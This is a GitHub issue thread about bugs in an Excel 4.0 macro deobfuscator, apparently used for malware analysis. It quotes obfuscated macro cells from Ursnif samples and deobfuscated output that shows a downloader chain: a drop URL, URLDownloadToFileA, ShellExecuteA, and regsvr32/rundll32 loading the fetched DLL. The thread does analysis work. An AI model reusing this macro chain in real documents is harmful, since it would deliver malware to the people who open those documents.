DissectMalware / XLMMacroDeobfuscator

Extract and Deobfuscate XLM macros (a.k.a Excel 4.0 Macros)
Apache License 2.0
568 stars 115 forks source link

Assignment operator not supported and wrong XLSB formula parsing #64

Open margaretbloom opened 3 years ago

margaretbloom commented 3 years ago

First of all, thank you for your great work.

Assignment operator

The equal (=) operator is both a comparison and an assignment operator (à là VBA/VB6). Consider this macro:

HT202:      =WnZdDroiBxUqPV=$DI$174&$FS$349&$HJ$371&$BT$1269
HT203:      =RcguQSbkfJZr=$IG$1852
HT204:      =$AU$259()
HT205:      =RUN($CI$2596)

AU259:      =RETURN(FORMULA.FILL(WnZdDroiBxUqPV,RcguQSbkfJZr))

The first two line are problematic: they set the names WnZdDroiBxUqPV and RcguQSbkfJZr to two values. Furthermore, the second one is doubly offending since the RHS is a reference (or whatever it is officially called) to the cell $IG$1852.
You can tell this must be the case from the code at AU259 which essentially makes the whole code a "set-cell" gadget.

However, the deobfuscator currently doesn't support this assignment semantic of the = operator: it evaluates the expression as a comparison and when the formula at AU259 is executed it throws because none of the names are found (and that's an unhandled case).

This macro is found in test1.xlsm attached. This document is derived from test2.xlsb by saving it in XLSM format using Office 2010.

I made a patch I do not am proud of, to handle basic assignment semantic, at least what's needed to parse test1.xlsm. Since I didn't go through any regression test and I've actually less than a day experience with your code, I attach the patch here rather than making a PR.

The idea is to to consider "=" an assignment unless the rule expression is parsed as part of the rule argument (i.e. unless we are dealing with an argument). I don't know XLM well enough to be sure this is 100% correct, in fact i strongly believe it is not. But it works in this case. Then if we encounter the "=" operator, we treat it like a SET.NAME except that if the RHS evaluates to nothing then we assume it is a cell reference (TODO: really check what the tree matched instead!).

This ugly fix produces the output

CELL:T73       , FullEvaluation      , $GU$614()
CELL:GU614     , FullEvaluation      , "http://liveswindow.casa/opzi0n1.dll"
CELL:GU615     , FullEvaluation      , ""
CELL:GU616     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:GU617     , FullEvaluation      , RUN(jf!BV2537)
CELL:BV2537    , FullEvaluation      , "C:\DlkYKlI\UiQhTXx\sncwner.dll,DllRegisterServer"
CELL:BV2538    , FullEvaluation      , ""
CELL:BV2539    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:BV2540    , FullEvaluation      , RUN(jf!EB1002)
CELL:EB1002    , FullEvaluation      , "C:\DlkYKlI\UiQhTXx\sncwner.dll"
CELL:EB1003    , FullEvaluation      , ""
CELL:EB1004    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:EB1005    , FullEvaluation      , RUN(jf!FH2455)
CELL:FH2455    , FullEvaluation      , "URLMON"
CELL:FH2456    , FullEvaluation      , ""
CELL:FH2457    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:FH2458    , FullEvaluation      , RUN(jf!EN2907)
CELL:EN2907    , FullEvaluation      , "URLDownloadToFileA"
CELL:EN2908    , FullEvaluation      , ""
CELL:EN2909    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:EN2910    , FullEvaluation      , RUN(jf!FM695)
CELL:FM695     , FullEvaluation      , "JJCCJJ"
CELL:FM696     , FullEvaluation      , ""
CELL:FM697     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:FM698     , FullEvaluation      , RUN(jf!BH797)
CELL:BH797     , FullEvaluation      , "Shell32"
CELL:BH798     , FullEvaluation      , ""
CELL:BH799     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:BH800     , FullEvaluation      , RUN(jf!ED1009)
CELL:ED1009    , FullEvaluation      , "ShellExecuteA"
CELL:ED1010    , FullEvaluation      , ""
CELL:ED1011    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:ED1012    , FullEvaluation      , RUN(jf!IC1996)
CELL:IC1996    , FullEvaluation      , "JJCCCCJ"
CELL:IC1997    , FullEvaluation      , ""
CELL:IC1998    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:IC1999    , FullEvaluation      , RUN(jf!GT1898)
CELL:GT1898    , FullEvaluation      , "Open"
CELL:GT1899    , FullEvaluation      , ""
CELL:GT1900    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:GT1901    , FullEvaluation      , RUN(jf!T2783)
CELL:T2783     , FullEvaluation      , "regsvr32.exe"
CELL:T2784     , FullEvaluation      , ""
CELL:T2785     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:T2786     , FullEvaluation      , RUN(jf!DD1093)
CELL:DD1093    , FullEvaluation      , "rundll32.exe"
CELL:DD1094    , FullEvaluation      , ""
CELL:DD1095    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:DD1096    , FullEvaluation      , RUN(jf!HK1793)
CELL:HK1793    , FullEvaluation      , "C:\DlkYKlI"
CELL:HK1794    , FullEvaluation      , ""
CELL:HK1795    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:HK1796    , FullEvaluation      , RUN(jf!HM2293)
CELL:HM2293    , FullEvaluation      , "C:\DlkYKlI\UiQhTXx"
CELL:HM2294    , FullEvaluation      , ""
CELL:HM2295    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:HM2296    , FullEvaluation      , RUN(jf!GA2355)
CELL:GA2355    , FullEvaluation      , "Kernel32"
CELL:GA2356    , FullEvaluation      , ""
CELL:GA2357    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:GA2358    , FullEvaluation      , RUN(jf!GT2897)
CELL:GT2897    , FullEvaluation      , "CreateDirectoryA"
CELL:GT2898    , FullEvaluation      , ""
CELL:GT2899    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:GT2900    , FullEvaluation      , RUN(jf!HO2319)
CELL:HO2319    , FullEvaluation      , "JCJ"
CELL:HO2320    , FullEvaluation      , ""
CELL:HO2321    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:HO2322    , FullEvaluation      , RUN(jf!R450)
CELL:R450      , FullEvaluation      , "INSENG"
CELL:R451      , FullEvaluation      , ""
CELL:R452      , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:R453      , FullEvaluation      , RUN(jf!H1261)
CELL:H1261     , FullEvaluation      , "DownloadFile"
CELL:H1262     , FullEvaluation      , ""
CELL:H1263     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:H1264     , FullEvaluation      , RUN(jf!HT202)
CELL:HT202     , FullEvaluation      , "BCCJ"
CELL:HT203     , FullEvaluation      , ""
CELL:HT204     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:HT205     , FullEvaluation      , RUN(jf!CI2596)
CELL:CI2596    , FullEvaluation      , "uOIxdmml"
CELL:CI2597    , FullEvaluation      , ""
CELL:CI2598    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:CI2599    , FullEvaluation      , RUN(jf!GH2231)
CELL:GH2231    , FullEvaluation      , "ePIPtHGW"
CELL:GH2232    , FullEvaluation      , ""
CELL:GH2233    , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:GH2234    , FullEvaluation      , RUN(jf!A2105)
CELL:A2105     , FullEvaluation      , "SVNmBteM"
CELL:A2106     , FullEvaluation      , ""
CELL:A2107     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:A2108     , FullEvaluation      , $T$74()
CELL:T74       , FullEvaluation      , CALL(,,,,0)
CELL:T75       , FullEvaluation      , CALL(,,,,0)
CELL:T77       , FullEvaluation      , CALL(,,,0,"http://liveswindow.casa/opzi0n1.dll",,0,0)
CELL:T79       , FullEvaluation      , IF($T$78<>0)
CELL:T80       , FullEvaluation      ,  CALL(,,,"http://liveswindow.casa/opzi0n1.dll",,1)
CELL:T82       , FullEvaluation      , END.IF
CELL:T84       , FullEvaluation      , CALL(,,,0,,,,0,0)
CELL:T87       , End                 , HALT()

Which is good enough to get the drop URL.

Wrong XLSB formula parsing

Ptg are hellish, I know. There are a lot of them. The XLSB wrappers fails with the attached test2.xlsb, it tries to stringify an empty formula. I don't know why this happens and if it should in the first place, one can force the code go on by returning an empty string in such a case (and that's what I did, patch not attached though).

The XLSB wrapper return UserDefinedFunction($GU$614) for what the XLSM parsed as $GU$614(). This can be easily handled by retrieving the right function name.

Alas, the deobfuscation abort because the XLSB wrapper return a strange =RETURN(FORMULA.FILL(#PTG67!, #PTG35!))).

CELL:T73       , FullEvaluation      , UserDefinedFunction($GU$614)
CELL:GU614     , FullEvaluation      , SET.NAME(wnzddroibxuqpv,http://liveswindow.casa/opzi0n1.dll)
CELL:GU615     , FullEvaluation      , SET.NAME(rcguqsbkfjzr,$BB$54)
CELL:GU616     , FullEvaluation      , UserDefinedFunction($AU$259)
Error [deobfuscator.py:1622 parse_tree = self.xlm_parser.parse(formula)]: Unexpected token Token('__ANON_0', '#PTG67!, #PTG35!))') at line 1, column 22.

Maybe those Ptg are not fully implemented?

Show names command

Finally, I added two lines of code in the interactive shell to show the currently defined names with :names. You may want to remove those.

Final thoughts

The code I wrote is an ugly hack, test thoughtfully. The attached documents are few-days-old Ursnif samples (the drop URL and the C2 are now gone) so they are good candidates for tests.

Thank you again for this project :)

tests-xlm.zip

DissectMalware commented 3 years ago

Thank you very much for your post. I skimmed over it and I think I got the main points. But I need to read it more carefully.

The test2.xlsb is interpreted without any problem (at least, with the recent changes). There is no ambiguity there. Please update from the master branch of pyxlsb and xlmmacrodeobfuscator.

xlmdeobfuscator's output: https://pastebin.com/CcEZPXdW

Regarding xlsm, I can see the problem. I will read your code and patch the master.